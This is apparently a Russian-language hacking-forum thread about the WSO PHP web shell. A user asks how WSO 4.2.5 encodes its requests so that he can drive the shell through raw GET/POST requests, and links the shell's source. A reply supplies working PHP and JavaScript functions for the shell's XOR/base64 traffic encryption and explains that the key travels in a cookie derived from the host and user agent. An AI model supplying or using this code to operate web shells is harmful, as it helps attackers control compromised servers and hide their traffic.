WSO (веб-шелл)

Discussion in 'Избранное' started by oRb, 26 Jan 2009.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    805
    Reputations:
    841
    Живой!!! но в других темах...

    P.S: Сами патчити!
     
    _________________________
  2. I_I

    I_I Member

    Joined:
    22 Nov 2013
    Messages:
    63
    Likes Received:
    5
    Reputations:
    1
  3. wpbrut

    wpbrut New Member

    Joined:
    11 Sep 2019
    Messages:
    18
    Likes Received:
    1
    Reputations:
    0
    ребят, подскажите пожалуйста:
    - если управлять шеллом через GET POST запросы, то в WSO 2.5 через Fiddler можно нормально отследить передаваемые данные
    проблема в том, что WSO 2.5 морально устарел и на многих пыхах частенько не открывается

    приходится юзать WSO 4.2.5

    но WSO 4.2.5 при тех же запросах кодирует данные
    допустим слово "FilesMan" - "CwApCRQcJXoXA31K"

    и уже просто так отправить запрос не получается
    нужно передаваемые данные закодировать

    как кодируются данные в WSO 4.2.5?

    пример WSO 4.2.5
    https://github.com/tennc/webshell/blob/master/php/wso/wso-4.2.5.php

    подскажите плз
    заранее благодарен
     
  4. fandor9

    fandor9 Active Member

    Joined:
    16 Nov 2018
    Messages:
    239
    Likes Received:
    266
    Reputations:
    15
    Вот функция разшифровки:
    Code:
    function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
    А вот шифрование
    Code:
    function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
        function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
        function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
        function set(a,c,p1,p2,p3,charset) {
    Тоесть ключ для шифрования передаётся как печенька с именем 'md5($_SERVER['HTTP_HOST'])."key"' и значением md5($_SERVER['HTTP_USER_AGENT']). В самом шифрование и данные и ключ кодируются в base64, и делается XOR ключа с данными. Шифр снова кодируется в base64.